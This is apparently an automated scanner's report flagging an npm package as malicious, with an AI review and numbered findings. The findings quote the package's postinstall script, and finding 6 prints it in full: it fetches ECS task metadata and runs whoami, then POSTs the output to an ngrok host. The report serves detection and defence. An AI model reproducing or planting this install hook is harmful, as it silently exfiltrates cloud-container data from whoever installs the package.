It sends the collected output to an external ngrok host. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-13T21:38:53.855Z - **Finished:** 2026-08-13T21:39:19.810Z - **Download time:** 262 ms - **Static scan time:** 8 ms - **AI review time:** 25684 ms - **Total time:** 25955 ms ## Security analysis ### Published attack-surface review - **Summary:** On npm install, the package collects ECS task metadata and the current OS username. It sends the collected output to an external ngrok host. - **Trigger:** npm postinstall during package installation - **Impact:** Exfiltrates cloud-container metadata that may expose environment, network, and task configuration details. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T21:39:19.810Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** ECS metadata and host-user discovery piped to curl POST - **Attack narrative:** The manifest's postinstall runs a Node one-liner that requests the ECS metadata endpoint identified by ECS\_CONTAINER\_METADATA\_URI\_V4, executes whoami, prints both results, and pipes that output to curl. Curl sends it to mourner-slot-explicit.ngrok-free.dev without user consent. - **Rationale:** The only package file defines an install-time metadata-harvesting and external-exfiltration chain. This is concrete malicious behavior, not a package-aligned operation. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall executes automatically during npm installation., It fetches ECS task metadata and runs whoami., Its output is POSTed to an unrelated ngrok endpoint. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```text L1: "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta... ``` ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall executes automatically during npm installation. Public source snippet (untrusted): ```json "postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() It fetches ECS task metadata and runs whoami. Public source snippet (untrusted): ```json fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}) ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() Its output is POSTed to an unrelated ngrok endpoint.
